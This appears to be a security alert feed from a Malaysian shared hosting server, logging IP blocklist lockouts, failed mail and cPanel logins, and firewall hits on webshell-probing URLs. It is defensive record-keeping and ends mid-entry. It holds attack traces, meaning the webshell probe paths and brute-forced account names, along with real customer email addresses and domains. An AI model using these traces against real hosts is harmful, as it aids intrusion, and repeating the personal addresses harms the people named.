name: Imunify PAM. The IP has been locked by RBL
abuser: 200.77.179.121
country_id: 3469034
description:
Jan 16 10:04:41 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.77.179.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.77.179.121
country_id: 3469034
description:
Jan 16 10:04:57 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.77.179.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.226
country_id: 1269750
description:
Jan 16 10:05:05 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.226 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/demos/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.2
country_id: 3469034
description:
Jan 16 10:09:43 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.47.46.174
country_id: 1522867
description:
Jan 16 10:09:11 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.47.46.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.47.46.174
country_id: 1522867
description:
2026-01-16 10:09:13 dovecot_login authenticator failed for H=([92.47.46.174]) [92.47.46.174]:45828: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/demos/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.242.40
country_id: 1269750
description:
Jan 16 10:10:49 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.242.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.2
country_id: 3469034
description:
Jan 16 10:09:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.42.23
country_id: 953987
description:
Jan 16 10:11:31 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.42.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.120
country_id: 3175395
description:
Jan 16 10:12:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.120 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 10:12:25 H=([45.144.212.242]) [45.144.212.242]:54241 F=<kamal@sunnyseafoodtrade.com> rejected RCPT <asttwu@astlog.com.my>: No Such User Here


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.156.152.18
country_id: 732800
description:
2026-01-16 10:12:52 H=([94.156.152.18]) [94.156.152.18]:52116 F=<mekdes@maatextiles.com> rejected RCPT <vincenttan@euratech.com.my>: SPF: 94.156.152.18 is not allowed to send mail from maatextiles.com


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.173.81.246
country_id: 2017370
domain: af-sb.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:10-13.31.173.81.246||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.79.112
country_id: 1814991
description:
Jan 16 10:14:53 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.79.112 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.79.112
country_id: 1814991
description:
2026-01-16 10:14:55 dovecot_login authenticator failed for H=([111.26.79.111]) [111.26.79.112]:39278: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.14.131.162
country_id: 1814991
description:
2026-01-16 10:14:56 dovecot_login authenticator failed for H=(zptsf) [113.14.131.162]:65523: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.14.131.162
country_id: 1814991
description:
2026-01-16 10:15:04 dovecot_login authenticator failed for H=(iczgv) [113.14.131.162]:65523: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/radiation.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 10:16:52 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.132.133.54
country_id: 1269750
description:
Jan 16 10:16:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.132.133.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.132.133.54
country_id: 1269750
description:
2026-01-16 10:16:50 dovecot_login authenticator failed for H=(dsl-del-dynamic-073.72.246.61.airtelbroadband.in) [203.132.133.54]:39208: 535 Incorrect authentication data (set_id=bizdevelopment@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 10:16:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57898: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.38.128
country_id: 953987
description:
Jan 16 10:18:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.38.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.36.202.176
country_id: 3469034
description:
Jan 16 10:19:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.36.202.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.106.49.149
country_id: 3932488
description:
Jan 16 10:20:23 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.106.49.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-01-16 10:20:25 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:54232: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.233.6.238
country_id: 1814991
description:
Jan 16 10:23:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.233.6.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.233.6.238
country_id: 1814991
description:
2026-01-16 10:23:38 dovecot_login authenticator failed for H=([116.230.66.81]) [116.233.6.238]:35584: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.165.187
country_id: 2017370
description:
Jan 16 10:24:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.165.187 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.216.165.187
country_id: 2017370
description:
2026-01-16 10:24:11 dovecot_login authenticator failed for H=([178.216.165.187]) [178.216.165.187]:57932: 535 Incorrect authentication data (set_id=wgoeqsscr@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.121.95.127
country_id: 3469034
description:
Jan 16 10:24:15 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.121.95.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.196.144.25
country_id: 6252001
description:
Jan 16 10:26:12 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.196.144.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.196.144.25
country_id: 6252001
description:
2026-01-16 10:26:14 dovecot_plain authenticator failed for H=c-73-196-144-25.hsd1.nj.comcast.net (unnapara) [73.196.144.25]:58478: 535 Incorrect authentication data (set_id=hueitsyr.tee@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.210
country_id: 3469034
description:
Jan 16 10:26:42 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.135.223
country_id: 1269750
description:
Jan 16 10:26:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.135.223 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.135.223
country_id: 1269750
description:
Jan 16 10:27:03 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.135.223 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.127.53.61
country_id: 6252001
description:
Jan 16 10:28:11 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.127.53.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.127.53.61
country_id: 6252001
description:
2026-01-16 10:28:13 dovecot_plain authenticator failed for H=c-24-127-53-61.hsd1.mi.comcast.net (calluce) [24.127.53.61]:40814: 535 Incorrect authentication data (set_id=syahrir@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.141.249.122
country_id: 3469034
description:
Jan 16 10:28:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.141.249.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.253.124
country_id: 99237
description:
Jan 16 10:29:27 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.253.124 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.82.55.35
country_id: 3469034
description:
Jan 16 10:29:30 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.82.55.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.143.244.83
country_id: 1814991
description:
2026-01-16 10:29:53 dovecot_login authenticator failed for H=(zxuxp) [180.143.244.83]:49297: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.101
country_id: 3469034
description:
Jan 16 10:29:48 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.144
country_id: 3175395
description:
Jan 16 10:29:50 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 108.165.113.158
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-29.108.165.113.158||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.144
country_id: 3175395
description:
Jan 16 10:29:57 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.143.244.83
country_id: 1814991
description:
2026-01-16 10:30:00 dovecot_login authenticator failed for H=(nzosh) [180.143.244.83]:49297: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.101
country_id: 3469034
description:
Jan 16 10:30:03 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.101 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.22.253.230
country_id: 3865483
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/index.php?route=product/product&product_id=318&tag=cheap HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.22.253.230
country_id: 3865483
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/?route=product/product&product_id=318&tag=cheap HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 10:32:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:60804: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.149
country_id: 3469034
description:
Jan 16 10:32:11 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.149 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.25
country_id: 953987
description:
Jan 16 10:32:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.111.152.229
country_id: 3469034
description:
Jan 16 10:32:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.111.152.229 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.111.152.229
country_id: 3469034
description:
Jan 16 10:32:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.111.152.229 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 71.62.34.216
country_id: 6252001
description:
Jan 16 10:34:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 71.62.34.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-01-16 10:34:18 dovecot_plain authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net (treencrism) [71.62.34.216]:53264: 535 Incorrect authentication data (set_id=sabi@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.136.111
country_id: 3175395
description:
Jan 16 10:35:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.136.111 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.143.244.83
country_id: 1814991
description:
2026-01-16 10:35:24 dovecot_login authenticator failed for H=(atxlk) [180.143.244.83]:58024: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.118.183.159
country_id: 3865483
description:
Jan 16 10:35:53 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.118.183.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.143.244.83
country_id: 1814991
description:
2026-01-16 10:35:58 dovecot_login authenticator failed for H=(cmoql) [180.143.244.83]:58024: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.118.183.159
country_id: 3865483
description:
Jan 16 10:36:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.118.183.159 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.250.149
country_id: 6252001
description:
[2026-01-16 10:37:37 +0800] info [cpaneld] 172.58.250.149 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.228.113.247
country_id: 2017370
description:
[2026-01-16 10:37:39 +0800] info [cpaneld] 5.228.113.247 - box "GET /login/?login_only=1&user=box&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user box (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 10:37:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.187.54.70
country_id: 6252001
description:
[2026-01-16 10:37:41 +0800] info [whostmgrd] 67.187.54.70 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.70.229.111
country_id: 6252001
description:
[2026-01-16 10:37:34 +0800] info [cpaneld] 68.70.229.111 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/services/survey-meter/images/sliders/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.159
country_id: 3175395
description:
Jan 16 10:40:44 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.36.254
country_id: 3469034
description:
Jan 16 10:41:46 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.36.254 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.159
country_id: 3175395
description:
Jan 16 10:41:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/services/survey-meter/images/sliders/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.85.63.58
country_id: 3469034
description:
Jan 16 10:42:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.85.63.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.36.254
country_id: 3469034
description:
Jan 16 10:42:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.36.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 10:44:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57955: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 5.230.176.217
country_id: 2921044
domain: www.nexuscollection.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:10-45.5.230.176.217||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 5.230.170.179
country_id: 2921044
domain: www.nexuscollection.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:10-45.5.230.170.179||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.172.175.197
country_id: 3469034
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/img/photos/377644.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.240.230
country_id: 2510769
description:
Jan 16 10:46:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.240.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.250.107
country_id: 798544
description:
Jan 16 10:46:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.250.107 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-us/images/sliders/login.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.34.32
country_id: 953987
description:
Jan 16 10:49:22 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.34.32 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-16 10:49:27 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.159.124.19
country_id: 3865483
description:
Jan 16 10:51:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.159.124.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.135
country_id: 1269750
description:
Jan 16 10:51:15 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.135 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/demos/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.106.86.112
country_id: 3469034
description:
Jan 16 10:53:25 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.106.86.112 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-16 10:54:59 +0800] info [webmaild] 115.134.149.232 - general02@smartcable.com.my "GET /cpsess4228189374/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 27.125.241.208
country_id: 1733045
description:
[2026-01-16 10:57:14 +0800] info [webmaild] 27.125.241.208 - jlpom@ajplantations.com.my "POST /cpsess8792809324/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [27.125.241.46] != Current IP Address [27.125.241.208]


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 20.215.220.195
country_id: 798544
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/geoclue/geoclue.conf||User:root||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.51.181.19
country_id: 1733045
description:
[2026-01-16 11:00:55 +0800] info [webmaild] 60.51.181.19 - adminhr@ajplantations.com.my "GET /cpsess5505014609/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
